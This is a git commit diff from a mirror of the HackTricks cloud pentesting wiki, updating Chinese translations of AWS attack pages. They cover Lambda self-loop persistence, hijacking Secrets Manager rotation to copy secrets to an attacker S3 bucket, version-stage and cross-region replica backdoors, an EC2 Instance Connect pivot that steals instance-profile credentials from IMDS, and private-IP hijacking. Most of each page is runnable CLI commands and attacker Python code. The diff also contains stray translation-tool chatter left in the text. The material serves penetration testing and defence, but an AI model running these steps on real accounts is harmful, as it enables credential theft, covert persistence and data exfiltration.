mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-15 09:01:01 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l
This commit is contained in:
File diff suppressed because one or more lines are too long
@@ -1,10 +1,12 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
滥用 Lambda 的 asynchronous destinations 与 Recursion 配置,使函数在没有外部调度器(如 EventBridge、cron 等)的情况下不断自我重新调用。默认情况下,Lambda 会终止递归循环,但将 recursion 配置设置为 Allow 可重新启用它们。Destinations 在服务端对异步调用进行投递,因此一次种子调用就能创建一个隐蔽、无需代码的心跳/后门通道。可选地使用 reserved concurrency 进行节流以降低噪音。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
滥用 Lambda 的异步 destinations 并结合 Recursion 配置,使函数无需外部调度器(如 EventBridge、cron 等)即可持续自我触发。默认情况下,Lambda 会终止递归循环,但将 recursion 配置设为 Allow 可重新启用它们。Destinations 在服务端处理 async invokes,因此一次初始 invoke 就能创建一个隐蔽、无代码的心跳/后门通道。可选地通过 reserved concurrency 限制节流,以降低噪音。
|
||||
|
||||
Notes
|
||||
- Lambda 不允许直接将函数配置为其自身的 destination。使用 function alias 作为 destination,并允许 execution role 调用该 alias。
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
- Minimum permissions: 能够读取/更新目标函数的 event invoke config 和 recursion config、发布 version 并管理 alias,以及更新函数的 execution role policy 以允许 lambda:InvokeFunction 针对该 alias。
|
||||
|
||||
## 要求
|
||||
- Region: us-east-1
|
||||
@@ -14,12 +16,12 @@ Notes
|
||||
|
||||
## 步骤
|
||||
|
||||
1) 获取函数 ARN 及当前 recursion 设置
|
||||
1) 获取函数 ARN 和当前 recursion 配置
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) 发布一个版本并创建/更新一个别名(用作指向自身的目标)
|
||||
2) 发布一个版本并创建/更新一个 alias(用作自引用目标)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) 将异步目标配置为 alias(通过 alias 指向自身),并禁用重试
|
||||
4) 将 async destination 配置为 alias (self via alias),并禁用重试
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -63,11 +65,11 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) 触发单个异步调用
|
||||
6) 触发一个单次异步调用
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) 观察持续调用(示例)
|
||||
7) 观察连续调用 (示例)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
@@ -77,8 +79,8 @@ aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Cleanup
|
||||
中断循环并移除 persistence.
|
||||
## 清理
|
||||
中断 loop 并移除 persistence。
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -88,5 +90,6 @@ aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGIO
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- 一次单独的 async invoke 会导致 Lambda 不依赖外部调度器不断自我重新调用,从而实现隐蔽的持久化/心跳。Reserved concurrency 可以将噪声限制到单个 warm execution。
|
||||
## 影响
|
||||
- 单次 async invoke 会导致 Lambda 在没有外部调度器的情况下不断自我调用,从而实现隐蔽的持久化/心跳。Reserved concurrency 可以将噪音限制为单个 warm execution。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
# AWS - Secrets Manager 持久化
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
更多信息请查看:
|
||||
欲了解更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### 通过资源策略
|
||||
|
||||
可以通过资源策略将对 **secrets** 的访问权限授予外部账户。请查看 [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) 以获取更多信息。注意,要 **access a secret**,外部账户还需要 **access to the KMS key encrypting the secret**。
|
||||
可以通过资源策略**授予外部账户对 secret 的访问权限**。查看 [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) 了解更多信息。注意,要**访问 secret**,外部账户还需要**访问用于加密该 secret 的 KMS key**。
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### 通过 Secrets Rotate Lambda
|
||||
|
||||
为了自动 **rotate secrets**,会调用已配置的 **Lambda**。如果攻击者能够 **change** **code**,就可以直接 **exfiltrate the new secret** 给自己。
|
||||
要**rotate secrets**自动执行,会调用配置好的**Lambda**。如果攻击者能够**更改**该**代码**,就可以直接**exfiltrate the new secret**到自己手中。
|
||||
|
||||
下面是用于此类操作的 Lambda 代码示例:
|
||||
下面是可能用于此类操作的 Lambda 代码示例:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,35 +48,29 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### 通过 RotateSecret 将轮换 Lambda 更换为攻击者控制的函数
|
||||
|
||||
滥用 `secretsmanager:RotateSecret` 将 secret 重新绑定到攻击者控制的轮换 Lambda 并触发立即轮换。恶意函数在轮换步骤(createSecret/setSecret/testSecret/finishSecret)期间将 secret 版本(AWSCURRENT/AWSPENDING)外泄到攻击者接收端(例如 S3 或外部 HTTP)。
|
||||
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` 对攻击者 Lambda, `iam:CreateRole/PassRole/PutRolePolicy`(或 AttachRolePolicy)以为 Lambda 执行角色配置 `secretsmanager:GetSecretValue`,最好还有 `secretsmanager:PutSecretValue`、`secretsmanager:UpdateSecretVersionStage`(以便轮换继续工作)、用于 secret KMS key 的 KMS `kms:Decrypt`,以及用于外泄的 `s3:PutObject`(或出站 egress)。
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
|
||||
- Impact
|
||||
- 攻击者在不修改合法轮换代码的情况下获取 secret 值。只更改轮换配置以指向攻击者的 Lambda。如果未被发现,未来的定期轮换也会继续调用攻击者的函数。
|
||||
|
||||
|
||||
### 通过 RotateSecret 将 rotation Lambda 替换为攻击者控制的函数
|
||||
|
||||
滥用 `secretsmanager:RotateSecret` 将 secret 重新绑定到攻击者控制的 rotation Lambda 并触发立即 rotation。恶意函数在 rotation 步骤(createSecret/setSecret/testSecret/finishSecret)期间将 secret 版本(AWSCURRENT/AWSPENDING)外传到攻击者接收端(例如 S3 或外部 HTTP)。
|
||||
|
||||
- 要求
|
||||
- 权限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` 在攻击者 Lambda 上, `iam:CreateRole/PassRole/PutRolePolicy` (或 AttachRolePolicy) 用于为 Lambda 执行角色配置 `secretsmanager:GetSecretValue`,最好还包括 `secretsmanager:PutSecretValue`、`secretsmanager:UpdateSecretVersionStage`(以便 rotation 继续工作),KMS `kms:Decrypt`(用于 secret 的 KMS key),以及用于外传的 `s3:PutObject`(或出站流量)。
|
||||
- 一个启用了 rotation 的目标 secret id (`SecretId`) 或者能够启用 rotation 的权限。
|
||||
|
||||
- 影响
|
||||
- 攻击者在不修改合法 rotation 代码的情况下获取 secret 值。仅更改 rotation 配置以指向攻击者的 Lambda。如果未被注意,后续按计划的 rotations 也会继续调用攻击者的函数。
|
||||
|
||||
- 攻击步骤 (CLI)
|
||||
1) 准备攻击者接收端和 Lambda 角色
|
||||
- 创建用于外传的 S3 bucket 和一个受 Lambda 信任的执行角色,该角色具有读取 secret 和写入 S3 的权限(以及根据需要的日志/KMS 权限)。
|
||||
2) 部署攻击者 Lambda,在每个 rotation 步骤中获取 secret 值并写入 S3。最小化的 rotation 逻辑可以只是将 AWSCURRENT 复制到 AWSPENDING,并在 finishSecret 中提升它以保持服务正常。
|
||||
3) 重新绑定 rotation 并触发
|
||||
- Attack steps (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- 为外泄创建 S3 bucket,并创建一个受 Lambda 信任的执行角色,赋予读取 secret 和写入 S3 的权限(另加 logs/KMS 所需权限)。
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Rebind rotation and trigger
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) 通过列出该 secret 的 S3 前缀并检查 JSON 工件来验证外传。
|
||||
5) (可选)恢复原始 rotation Lambda 以降低被检测的风险。
|
||||
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
|
||||
5) (Optional) Restore the original rotation Lambda to reduce detection.
|
||||
|
||||
- 示例攻击者 Lambda(Python)将数据外传到 S3
|
||||
- 环境变量: `EXFIL_BUCKET=<bucket>`
|
||||
- 处理程序: `lambda_function.lambda_handler`
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
@@ -102,23 +96,23 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking 用于 隐蔽持久性(自定义 stage + 快速 AWSCURRENT 切换)
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
滥用 Secrets Manager 的版本分阶段标签来植入由攻击者控制的 secret 版本,并将其隐藏在自定义阶段(例如 `ATTACKER`)下,同时生产继续使用原始的 `AWSCURRENT`。在任意时刻,将 `AWSCURRENT` 切换到攻击者的版本以污染依赖的工作负载,然后恢复以最小化检测。这样可以在不更改 secret 名称或轮换配置(rotation config)的情况下,提供隐蔽的后门持久化和快速的使用时操控。
|
||||
滥用 Secrets Manager 的版本阶段标签来植入一个由攻击者控制的 secret 版本,并将其隐藏在自定义阶段下(例如,`ATTACKER`),同时生产环境继续使用原始的 `AWSCURRENT`。在任何时刻,可以将 `AWSCURRENT` 切换到攻击者的版本以毒化依赖该 secret 的工作负载,然后恢复以尽量减少检测。这在不更改 secret 名称或轮换配置的情况下,提供了隐蔽的后门持久性以及快速的使用时操控。
|
||||
|
||||
- 要求
|
||||
- 权限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (用于校验)
|
||||
- 目标 secret id 在目标 Region。
|
||||
- Requirements
|
||||
- 权限:`secretsmanager:PutSecretValue`、`secretsmanager:UpdateSecretVersionStage`、`secretsmanager:DescribeSecret`、`secretsmanager:ListSecretVersionIds`、`secretsmanager:GetSecretValue`(用于验证)
|
||||
- 目标 secret id,位于目标 Region。
|
||||
|
||||
- 影响
|
||||
- 保持一个隐藏的、由攻击者控制的 secret 版本,并在需要时原子性地将 `AWSCURRENT` 切换到该版本,影响任何解析相同 secret 名称的使用者。快速切换并迅速恢复能够降低被检测的概率,同时实现基于时间的妥协。
|
||||
- Impact
|
||||
- 保持一个隐藏的、攻击者控制的 secret 版本,并按需原子性地将 `AWSCURRENT` 切换到该版本,影响任何解析相同 secret 名称的消费者。快速切换与迅速恢复能降低被检测到的概率,同时实现基于使用时的妥协。
|
||||
|
||||
- 攻击步骤 (CLI)
|
||||
- 准备
|
||||
- Attack steps (CLI)
|
||||
- Preparation
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>CLI commands</summary>
|
||||
<summary>CLI 命令</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
@@ -168,20 +162,20 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- 注意
|
||||
- 当你提供 `--client-request-token` 时,Secrets Manager 会将其用作 `VersionId`。如果在添加新版本时没有显式设置 `--version-stages`,默认会将 `AWSCURRENT` 移到新版本,并将先前的版本标记为 `AWSPREVIOUS`。
|
||||
- 当你提供 `--client-request-token` 时,Secrets Manager 将其用作 `VersionId`。在未显式设置 `--version-stages` 的情况下添加新版本会默认将 `AWSCURRENT` 移到新版本,并将之前的版本标记为 `AWSPREVIOUS`。
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
滥用 Secrets Manager 的多区域复制,将目标 secret 复制到监控较少的 Region,在该 Region 使用攻击者控制的 KMS 密钥对其加密,然后将该副本提升为独立 secret 并附加一个宽松的 resource policy,授予攻击者读取权限。原始主 Region 的 secret 保持不变,通过被提升的副本可以持久且隐蔽地访问 secret 值,同时绕过主 Region 上的 KMS/策略限制。
|
||||
滥用 Secrets Manager 的多区域复制,将目标 secret 的副本创建到监控较少的 Region,使用攻击者在该 Region 控制的 KMS key 对其加密,然后将该副本提升为独立 secret 并附加一个宽松的资源策略,授予攻击者读取权限。主 Region 中的原始 secret 保持不变,通过被提升的副本在攻击者控制的 KMS CMK 和宽松的资源策略下提供持久、隐蔽的 secret 值访问,同时绕过主 secret 上的 KMS/策略限制。
|
||||
|
||||
- 要求
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- 在副本 Region:`kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant`(或 `kms:PutKeyPolicy`),以允许攻击者主体执行 `kms:Decrypt`。
|
||||
- 一个攻击者主体(用户/角色),用于接收对被提升 secret 的读取访问。
|
||||
- 前提条件
|
||||
- 权限:`secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- 在副本 Region:`kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant`(或 `kms:PutKeyPolicy`)以允许攻击者主体执行 `kms:Decrypt`。
|
||||
- 需要一个攻击者主体(user/role)用于接收对被提升 secret 的读取访问权限。
|
||||
|
||||
- 影响
|
||||
- 通过位于攻击者控制下的 KMS CMK 和宽松资源策略下的独立副本,获得对 secret 值的持久跨区域访问路径。原始主 Region 的 secret 未被触及。
|
||||
- 通过位于攻击者控制的 KMS CMK 和宽松资源策略下的独立副本,获得对 secret 值的持久跨 Region 访问路径。原始 Region 中的主 secret 未被触及。
|
||||
|
||||
- 攻击(CLI)
|
||||
- 变量
|
||||
@@ -205,7 +199,7 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) 将 secret 复制到 R2,使用 attacker KMS key
|
||||
2) 使用攻击者的 KMS 密钥将 secret 复制到 R2
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
@@ -218,7 +212,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) 在 R2 的 standalone secret 上附加 permissive resource policy
|
||||
4) 在 R2 中的独立 secret 上附加宽松的资源策略
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -226,9 +220,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) 从 R2 的 attacker principal 读取 secret
|
||||
5) 从 R2 中以 attacker principal 读取 secret
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
滥用 EC2 Instance Connect Endpoint (EIC Endpoint) 来获取对私有 EC2 实例(无公网 IP/跳板机)的入站 SSH 访问,方法:
|
||||
滥用 EC2 Instance Connect Endpoint (EIC Endpoint) 来获得对私有 EC2 实例的入站 SSH 访问(无公网 IP/堡垒机),方法:
|
||||
- 在目标子网内创建一个 EIC Endpoint
|
||||
- 允许来自 EIC Endpoint SG 的入站 SSH 到目标 SG
|
||||
- 使用 `ec2-instance-connect:SendSSHPublicKey` 注入短期有效的 SSH 公钥(有效期约 60 秒)
|
||||
- 打开 EIC 隧道并 pivot 到实例,从 IMDS 窃取实例配置文件凭证
|
||||
- 允许来自 EIC Endpoint SG 的入站 SSH 访问目标 SG
|
||||
- 使用 `ec2-instance-connect:SendSSHPublicKey` 注入短期 SSH 公钥(有效约 60 秒)
|
||||
- 打开 EIC 隧道并 pivot 到实例,从 IMDS 窃取 instance profile credentials
|
||||
|
||||
影响:在私有 EC2 实例中建立隐蔽的远程访问通道,绕过跳板机和公网 IP 限制。攻击者可以获取实例配置文件的凭证并在账户中执行操作。
|
||||
Impact: 一种隐蔽的远程访问路径,可进入私有 EC2 实例,绕过堡垒机和公网 IP 限制。攻击者可以假冒 instance profile 并在账户中操作。
|
||||
|
||||
## 要求
|
||||
- 需要以下权限:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- 目标 Linux 实例需运行 SSH 服务并启用 EC2 Instance Connect(Amazon Linux 2 或 Ubuntu 20.04+)。默认用户:`ec2-user` (AL2) 或 `ubuntu` (Ubuntu)。
|
||||
- 目标 Linux 实例,需运行 SSH 服务并启用 EC2 Instance Connect(Amazon Linux 2 或 Ubuntu 20.04+)。默认用户:`ec2-user` (AL2) 或 `ubuntu` (Ubuntu)。
|
||||
|
||||
## 变量
|
||||
```bash
|
||||
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## 创建 EIC Endpoint
|
||||
## 创建 EIC 端点
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## 渗透后证明(窃取 instance profile credentials)
|
||||
## Post-exploitation 证明 (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
我没有收到要翻译的内容。请粘贴要翻译的 markdown 文件或片段(我会保留代码、标签、路径和链接不翻译)。
|
||||
I don't see the file contents. 请粘贴要翻译的 markdown 文本(或整个文件内容),我会把其中的英文翻译成中文并保留所有原有的 markdown/HTML 标签与链接。
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -89,7 +89,7 @@ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat R
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
在本地使用被盗 creds 验证身份:
|
||||
在本地使用被窃取的 creds 来验证身份:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> 注意
|
||||
> - 注入的 SSH 密钥仅在大约 60 秒内有效;在打开隧道/SSH 之前立即发送密钥。
|
||||
> - `OS_USER` 必须与 AMI 匹配(例如,`ubuntu` 对于 Ubuntu,`ec2-user` 对于 Amazon Linux 2)。
|
||||
> - 注入的 SSH 密钥仅在 ~60 秒内有效;在打开 tunnel/SSH 之前立即发送密钥。
|
||||
> - `OS_USER` 必须与 AMI 匹配(例如,`ubuntu` 用于 Ubuntu,`ec2-user` 用于 Amazon Linux 2)。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
滥用 `ec2:UnassignPrivateIpAddresses` 和 `ec2:AssignPrivateIpAddresses` 来窃取受害者 ENI 的 secondary private IP,并将其移动到同一 subnet/AZ 中的攻击者 ENI。许多内部服务和 security groups 通过特定的 private IP 来限制访问。通过移动该 secondary 地址,攻击者在 L3 上冒充受信任主机,能够访问 allowlisted 服务。
|
||||
滥用 `ec2:UnassignPrivateIpAddresses` 和 `ec2:AssignPrivateIpAddresses` 来窃取受害者 ENI 的 secondary private IP,并将其在相同 subnet/AZ 中移动到攻击者 ENI。许多内部服务和 security groups 通过特定的 private IPs 控制访问。通过移动该 secondary 地址,攻击者在 L3 冒充被信任的主机,从而可以访问被 allowlisted 的服务。
|
||||
|
||||
前提条件:
|
||||
Prereqs:
|
||||
- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
|
||||
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
|
||||
|
||||
变量:
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
步骤:
|
||||
1) 从受害者 ENI 中选择一个 secondary IP
|
||||
Steps:
|
||||
1) Pick a secondary IP from the victim ENI
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) 确保受保护主机仅允许该 IP(幂等)。如果改用 SG-to-SG rules,则跳过。
|
||||
2) 确保受保护的主机只允许该 IP (幂等)。如果使用 SG-to-SG 规则,则跳过。
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Baseline: 从 attacker instance 发起到 PROTECTED_HOST 的请求在没有 spoofed source 的情况下应该失败(例如通过 SSM/SSH)
|
||||
3) 基线:从 attacker instance 发起到 PROTECTED_HOST 的请求在没有伪造源(例如通过 SSM/SSH)时应该会失败
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) 从受害者 ENI 取消分配 secondary IP
|
||||
4) 从受害者 ENI 上取消分配 secondary IP
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) 将相同的 IP 分配给攻击者 ENI(在 AWS CLI v1 上添加 `--allow-reassignment`)
|
||||
5) 将相同的 IP 分配给 attacker ENI (在 AWS CLI v1 上添加 `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
@@ -41,10 +41,11 @@ aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --pri
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) 在攻击者实例上,将源绑定到被劫持的 IP 以访问受保护的主机(确保该 IP 已在操作系统上配置;如果没有,使用 `ip addr add $HIJACK_IP/<mask> dev eth0` 添加它)
|
||||
7) 从攻击者实例上,使用 source-bind 绑定到被劫持的 IP 以访问受保护的主机(确保该 IP 已在操作系统上配置;如果没有,用 `ip addr add $HIJACK_IP/<mask> dev eth0` 添加)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impact
|
||||
- 通过在同一 subnet/AZ 中将次要私有 IP 在 ENIs 之间移动,绕过 IP allowlists 并冒充 VPC 内的受信任主机。
|
||||
- 访问以特定 source IPs 控制访问的内部服务,从而实现 lateral movement 并获得数据访问。
|
||||
## 影响
|
||||
- 通过在同一 subnet/AZ 的 ENIs 之间移动 secondary private IPs,绕过 IP allowlists 并冒充 VPC 内的受信任主机。
|
||||
- 访问那些通过特定 source IPs 进行访问控制的内部服务,从而实现横向移动并获取数据访问。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## ECR
|
||||
|
||||
更多信息请查看
|
||||
如需更多信息,请查看
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
### 登录、拉取与推送
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
下载镜像后,您应当**检查其中是否包含敏感信息**:
|
||||
下载镜像后,你应该**检查它们是否包含敏感信息**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
